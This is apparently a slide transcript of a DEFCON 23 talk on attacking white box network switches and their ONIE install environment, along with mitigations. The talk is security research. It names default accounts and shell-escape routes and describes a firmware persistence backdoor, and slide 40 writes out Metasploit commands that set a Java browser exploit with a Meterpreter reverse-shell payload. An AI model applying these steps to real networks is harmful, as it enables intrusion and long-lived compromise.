DEFCON 23 - Gregory Pickett - staying persistant in software defined networks
0 likes64 views
- White box Ethernet switches running Linux-based network operating systems like Switch Light, Cumulus Linux, and MLNX-OS have several security weaknesses that could allow remote compromise. These include outdated software, default credentials, insecure agents, and an exposed partition on the ONIE install environment. - A demonstration showed how a keylogger could capture default credentials, then malware could spread from an infected management station to the switch and even persist after a reboot by modifying the ONIE install process. - Solutions proposed included secure boot, removing default credentials, securing agents, isolating the management plane, and leveraging SDN/DevOps for auditing and access control. Overall the talk emphasized pressing vendors to prioritize security updates and
DEFCON 23 - Gregory Pickett - staying persistant in software defined networks
- 1. DefCon 23, Las Vegas 2015 Staying Persistent in Software Defined Networks
- 2. Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois gregory.pickett@hellfiresecurity.com Hellfire Security
- 3. Overview White Box Ethernet Stupid Is As Stupid Does! Exploiting it! Moving Forward Wrapping Up
- 4. What Is It? Standard Hardware (“Blank” Slate) Running Merchant Silicon Trident and Broadcom Chipsets Intel, AMD, and PowerPC processors Common Operating System (Often Linux-Based) Critical for Software Defined Networking Can Be Used Without It!
- 5. Why Do It? Reduced Cost Flexibility Control Traditional DevOps Software Defined Networking
- 6. Open Compute Project Started By Facebook Total Redesign of Existing Technology To Meet Emerging Needs Specifications for Server, Storage, and the Data Center Designed to be efficient, to be inexpensive, and to be easy to service
- 7. Open Compute Project Vanity Free and Minimalistic Not Tied To Brands or Anything Proprietary Components Are Abstracted Therefore … Interchangeable
- 8. Open Network Install Environment (ONIE) Firmware for bare metal network switches Boot Loader for Network Operating Systems (NOS) Grub/U-Boot Underneath Facilitates Installation and Removal of NOS Comes Pre-Installed Automates Switch Deployment
- 9. White Box Ethernet and ONIE What Could Go Wrong?
- 10. Weaknesses (Operating System) Privileged Accounts No Root Password Doesn’t Force You To Change It! Management Services Uses Telnet SSH Installation Mode (18-bits Entropy) Recovery Mode (26-bits Entropy)
- 11. Weaknesses (Installer) Predictable URLS Exact URLs from DHCPv4 Inexact URLs based on DHCP Response IPv6 Neighbors TFTP Waterfall Predictable File Name Search Order No Encryption or Authentication for Installs
- 12. Weaknesses (Implementation) Exposed Partition No Secure Boot
- 13. What Does This Mean? Lot’s Of Opportunities to Blow It Up!
- 14. Here’s How Compromise It’s Installations Via Rogue DHCP Server Via IPv6 Neighbor Via TFTP Compromise It Forced Reboot Entry Sniffing/MiTM (Telnet or SSH)
- 15. Even Better Compromise It Get Past Network Operating System Modify ONIE Exposed Partition No Secure Boot Now You’re In the Firmware … Now You’re There Forever!
- 17. Network Operating Systems (NOS) Gets Installed By ONIE Operates the Switch ONIE-Compatible Distributions Open Network Linux Switch Light Cumulus Linux MLNX-OS
- 18. Open Network Linux Linux distribution for "bare metal" switches Based On Debian Linux Bare-Bones with No Features Development Platform Only Maintained by Open Compute Project
- 19. Switch Light Linux distribution for "bare metal" switches Packaged Open Network Linux Indigo Openflow Agent Extension of Big Switch Fabric (SDN) Maintained by Big Switch Networks
- 20. Cumulus Linux Linux distribution for "bare metal" switches Based On Debian Linux Puppet/Chef/Ansible Agent Network Automation and Orchestration (DevOps) Maintained by Cumulus Networks
- 21. MLNX-OS Linux distribution for "bare metal" switches Based On Enterprise Linux 5 (Red Hat Enterprise Linux 5) Puppet/Chef/Ansible/eSwitch Agent Network Automation and Orchestration (DevOps) or Controller (SDN) Maintained by Mellanox
- 22. Weaknesses (Agent) No Encryption and No Authentication Switch Light (Indigo) MLNX-OS (eSwitch) Out-Dated OpenSSL Switch Light (Actually No SSL Used! WTF?) Cumulus Linux (OpenSSL 1.0.1e Puppet) MLNX-OS (OpenSSL 0.9.8e-fips-rhel5)
- 23. Could Lead To … Topology, Flow, and Message Modification through Unauthorized Access Add Access Remove Access Hide Traffic Change Traffic Information Disclosure through Exploitation Switch Light (Indigo) MLNX-OS (eSwitch) Cumulus Linux (Puppet)
- 24. Weaknesses (Agent) Running As Root Switch Light (Indigo) Cumulus Linux (Puppet) Vulnerable Code Lot’s of MEMCPY (Indigo)
- 25. Could Lead To … But Still, It’s Kind Of Scary …
- 26. Weaknesses (Operating System) Out-Dated Bash Switch Light (Bash version 4.2.37 ) Cumulus Linux (Bash version 4.2.37) MLNX-OS (Bash version 3.2.9)
- 27. Weaknesses (Operating System) Default (and Fixed) Privileged Accounts Switch Light admin root (hidden/disabled) Cumulus Linux cumulus root (disabled) MLNX-OS admin root (hidden/disabled)
- 28. Weaknesses (Operating System) Doesn’t Force You To Change Default Passwords for Privileged Accounts Switch Light (admin) Cumulus Linux (cumulus) MLNX-OS (admin)
- 29. Weaknesses (Operating System) Easy Escape to Shell Switch Light (enable, debug bash) Cumulus Linux (N/A) MLNX-OS (shell escape) Instant Elevation Switch Light (N/A) Cumulus Linux (sudo) MLNX-OS (su) Remember that disabled root account?
- 30. Could Lead To … Full Control of Your Network through Unauthorized Access Add Access Remove Access Hide Traffic Change Traffic Compromise of Firmware through Unauthorized Access Switch Light Cumulus Linux MLNX-OS Switch Light Cumulus Linux MLNX-OS
- 34. Once More With Feeling!
- 35. Why? Disabled Root Accounts Can Still Be Used If Logged In Already! Just Need Shell Access Since they are hidden from user, highly likely their passwords won’t be set! Just one “su”, and you are in …
- 36. This Means Is One Key Logger Away!
- 37. Scenario (Demo) End-User System (Windows) Drive-By Web Attack/Phishing Email Key Logging for Default Accounts SDN Discovery (Southbound API) Second Stage Attack Network Operating System (Linux) Compromised Login Plant and Start Binaries (Backdoor)
- 38. Scenario (Demo) ONIE Planted Binaries Added “onie-nos-install” Shell Script Modified Wait! Our Switch Is Infected! Backdoor Accessible Even from the Internet (Pivoting)
- 39. Scenario (Demo) Environment Refresh onie-nos-install Downloads And Executes nos Installer Afterwards Adds Planted Binaries Back Set’s Run-Level! Resurrection! Backdoor Accessible Even from the Internet (Pivoting)
- 40. Delivery (Demo) Metasploit Setup use exploit/multi/browser/java_jre17_jmxbean set EXE::Custom pathtoCustom.exe set payload windows/meterpreter/reverse_https Drive-By Demo Site Click Link Redirect to Known Good
- 41. Malware (Demo) Assumptions Management Station (Windows-Based) Switch Linux-Based Southbound APIs Running Management Plane Not Accessible from Internet Accessible from Management Station
- 42. Malware (Demo) Methods (First Stage) Scanning Openflow Ports (6633, 6653) SSH Banners Exploitation SSH Client Wrapper Escape Commands Binary Planted Cross-Compiled for Demo-OS (netcat) Delivered Via printf | dd Yes, I know It’s Ugly!
- 43. Malware (Demo) Methods (First Stage) ONIE Modified (Shell Commands Modify onie-nos-install) Pivot (Reverse HTTP) Methods (Second Stage) (netcat)
- 44. Malware (Demo) Development First Stage Python Script Compiled Only Several Megabytes In Size Second Stage netcat from source
- 45. Demonstration
- 46. Malware (Improvements) First Stage (Additional Exploitation) Bash Second Stage (Custom) Attacks Network Modification and Manipulation Attacks Against Loopback Services (Escalation) Evasion Recovery from ONIE Upgrade Various Linux … Worming
- 47. And Now Some Pwnage … Sorry Cumulus Linux!
- 48. Zero-Day Exploit Cumulus Linux Has Several Command-Line Tools cl-bgp, cl-ospf, cl-ospf6, cl-ra, and cl-rctl Meant To Be Used By Reduced Privilege “admin” Commands Processed By “clcmd-server.py” On Unix Sockets Command Injection Issues! Boom Goes CLCMD-SERVER And it runs as “Root”
- 49. CLCMD-SERVER Running On A Switch
- 50. Demonstration
- 52. Available Solutions Hardware Install Environment Network Operating Systems Agents Enterprise Architecture
- 53. Hardware Trusted Platform Module (TPM) Rob Sherwood Had These Put In for Most x86-Based Switches Let’s Add Them to the PowerPC Switches Then, Let’s Use Them!
- 54. Install Environment Remove Telnet Increase Key Entropy Force Password Change Remove IPv6 and TFTP Waterfall Sign the Installations
- 55. Operating Systems Changeable Names uid 0 accounts “reduced” privilege accounts Force Password Change Tighten Shell Access Switch Light (Two-Factor Escape) Cumulus Linux (Wrapper) MLNX-OS (Two-Factor Escape)
- 56. Agents Use TLS Add Encryption and Authentication Use DevOps or SDN to Coordinate Certificate and Key Distribution
- 57. Enterprise Architecture Isolate Management Plane Rarely Done What’s wrong with Jump Boxes? Audit Switches Password Changes ONIE Partition Hashes
- 58. Impact On Security Keeping Pressure On Developers (Scaring Them) Making The Difference Racing Ahead
- 59. Getting Products/Features To Market Is Important … I get it. We all get it. But You're Not Learning Desktop Operating Systems Server Operating Systems These Are Not New Wake Up! Impact On Security
- 60. So Begins The Spinning of the Merry-Go-Round We Hack It You Fix It Let The Clean-Up Begin Is It So Hard To Hire Someone for Security I thought fixing It later was more expensive? Security Can Be A Feature Too Scaring Developers!
- 61. Learn From Desktop and Server Operating Systems Leverage Management Platforms (DevOps) or Controllers (SDN) Security Reference Audit Capability (Reconciliation) Logging Logic Probes Making The Difference
- 62. SDN has the potential to turn the entire Internet into a cloud Benefit would be orders of magnitude above what we see now But there is hole in the middle of it that could easily be filled by the likes of the NSA … or worse yet, China Let’s Not Let That Happen And That Start’s Here Final Thoughts